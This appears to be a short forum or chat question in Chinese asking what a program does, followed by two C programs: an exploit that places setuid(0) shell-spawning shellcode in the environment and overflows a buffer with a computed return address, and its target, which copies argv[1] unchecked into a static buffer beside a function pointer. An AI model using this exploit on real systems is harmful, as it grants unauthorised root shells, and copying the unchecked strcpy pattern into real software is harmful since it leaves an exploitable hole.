这个程序在做什么？

#define bufsize 260
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] =\"\\x31\\xdb\\x53\\x8d\\x43\\x17\\xcd\\x80\\x99\\x68\\x6e\\x2f\\x73\\x68\\x68\"
\"\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"; 

int main(void){
    char buf[bufsize] ;
    char *proc[]={\"./bss2\",buf,NULL};
    char *envir[]={\"Bytes=2Lu\",shellcode,NULL};
    unsigned long ret_addr = 0xc0000000 - strlen(proc[0]) - strlen(shellcode) - sizeof(void *) - 0x02;
    memset(buf,0x42,sizeof(buf));
    memcpy(buf + bufsize - 4,(char *)&ret_addr,4);
    execve(proc[0],proc,envir);
    return 0;
}

execve

proc

#define LEN 256
void output(char *);
int main(int argc, char **argv) {
    static char buffer[LEN];
    static void (*func) (char *);
    func = output;
    strcpy(buffer, argv[1]);
    func(buffer);
    return EXIT_SUCCESS;
}
void output(char *string) {
    fprintf(stdout, \"%s\", string);
}